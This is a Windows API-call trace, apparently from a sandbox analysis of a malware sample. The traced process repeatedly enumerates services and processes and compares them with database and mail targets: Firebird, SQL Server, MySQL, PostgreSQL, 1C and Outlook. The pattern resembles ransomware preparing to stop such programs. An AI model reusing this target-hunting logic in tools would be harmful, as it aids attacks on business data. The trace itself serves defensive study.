	[0262.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0262.668] lstrlenW (lpString="PlugPlay") returned 8
	[0262.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0262.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0262.668] lstrlenW (lpString="Power") returned 5
	[0262.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0262.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0262.668] lstrlenW (lpString="ProfSvc") returned 7
	[0262.668] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0262.668] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0262.668] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0262.669] lstrlenW (lpString="RpcEptMapper") returned 12
	[0262.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0262.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0262.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0262.669] lstrlenW (lpString="RpcSs") returned 5
	[0262.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0262.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0262.669] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0262.669] lstrlenW (lpString="SamSs") returned 5
	[0262.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0262.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0262.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0262.669] lstrlenW (lpString="Schedule") returned 8
	[0262.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0262.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0262.669] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0262.669] lstrlenW (lpString="SENS") returned 4
	[0262.669] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0262.669] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0262.669] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0262.669] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0262.669] lstrlenW (lpString="ShellHWDetection") returned 16
	[0262.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0262.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0262.670] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0262.670] lstrlenW (lpString="Spooler") returned 7
	[0262.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0262.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0262.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0262.670] lstrlenW (lpString="Themes") returned 6
	[0262.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0262.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0262.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0262.670] lstrlenW (lpString="UxSms") returned 5
	[0262.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0262.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0262.670] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0262.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0262.670] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0262.670] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c
	[0262.671] Process32FirstW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0262.672] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0262.672] lstrlenW (lpString="System") returned 6
	[0262.672] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0262.672] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0262.672] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0262.672] lstrlenW (lpString="smss.exe") returned 8
	[0262.672] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0262.672] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0262.672] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0262.672] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0262.672] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0262.673] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0262.673] lstrlenW (lpString="csrss.exe") returned 9
	[0262.673] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0262.673] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0262.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0262.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0262.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0262.673] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0262.673] lstrlenW (lpString="wininit.exe") returned 11
	[0262.673] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
	[0262.673] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1
	[0262.674] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0262.674] lstrlenW (lpString="csrss.exe") returned 9
	[0262.674] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0262.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0262.674] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0262.674] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0262.674] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0262.674] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0262.674] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0262.674] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0262.674] lstrlenW (lpString="winlogon.exe") returned 12
	[0262.674] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1
	[0262.674] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1
	[0262.674] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1
	[0262.675] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0262.675] lstrlenW (lpString="services.exe") returned 12
	[0262.675] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1
	[0262.675] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0262.675] lstrlenW (lpString="lsass.exe") returned 9
	[0262.675] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1
	[0262.675] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1
	[0262.675] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1
	[0262.675] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1
	[0262.676] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0262.676] lstrlenW (lpString="lsm.exe") returned 7
	[0262.676] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1
	[0262.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1
	[0262.676] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.676] lstrlenW (lpString="svchost.exe") returned 11
	[0262.676] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0262.676] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0262.677] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.677] lstrlenW (lpString="svchost.exe") returned 11
	[0262.677] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0262.677] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.677] lstrlenW (lpString="svchost.exe") returned 11
	[0262.677] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0262.677] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0262.677] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.678] lstrlenW (lpString="svchost.exe") returned 11
	[0262.678] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0262.678] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.678] lstrlenW (lpString="svchost.exe") returned 11
	[0262.678] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0262.678] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0262.678] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0262.679] lstrlenW (lpString="audiodg.exe") returned 11
	[0262.679] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.679] lstrlenW (lpString="svchost.exe") returned 11
	[0262.679] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0262.679] lstrlenW (lpString="userinit.exe") returned 12
	[0262.679] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0262.679] lstrlenW (lpString="explorer.exe") returned 12
	[0262.679] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0262.680] lstrlenW (lpString="dwm.exe") returned 7
	[0262.680] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.680] lstrlenW (lpString="svchost.exe") returned 11
	[0262.680] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0262.680] lstrlenW (lpString="swpesp.exe") returned 10
	[0262.680] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0262.680] lstrlenW (lpString="spoolsv.exe") returned 11
	[0262.680] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0262.681] lstrlenW (lpString="taskhost.exe") returned 12
	[0262.681] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0262.681] lstrlenW (lpString="svchost.exe") returned 11
	[0262.681] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0262.681] lstrlenW (lpString="reader_sl.exe") returned 13
	[0262.681] Process32NextW (in: hSnapshot=0x32c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0262.682] CloseHandle (hObject=0x32c) returned 1
	[0262.682] Sleep (dwMilliseconds=0x1f4) 
	[0263.324] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280950
	[0263.474] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0263.474] GetLastError () returned 0xea
	[0263.475] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xc9a) returned 0x41f5d68
	[0263.475] EnumServicesStatusExW (in: hSCManager=0x4280950, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xc9a, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0263.475] CloseServiceHandle (hSCObject=0x4280950) returned 1
	[0263.475] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0263.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0263.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0263.475] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0263.475] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0263.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0263.475] lstrlenW (lpString="AudioSrv") returned 8
	[0263.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0263.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0263.475] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0263.475] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0263.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0263.475] lstrlenW (lpString="BFE") returned 3
	[0263.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0263.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0263.475] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0263.476] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0263.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0263.476] lstrlenW (lpString="CryptSvc") returned 8
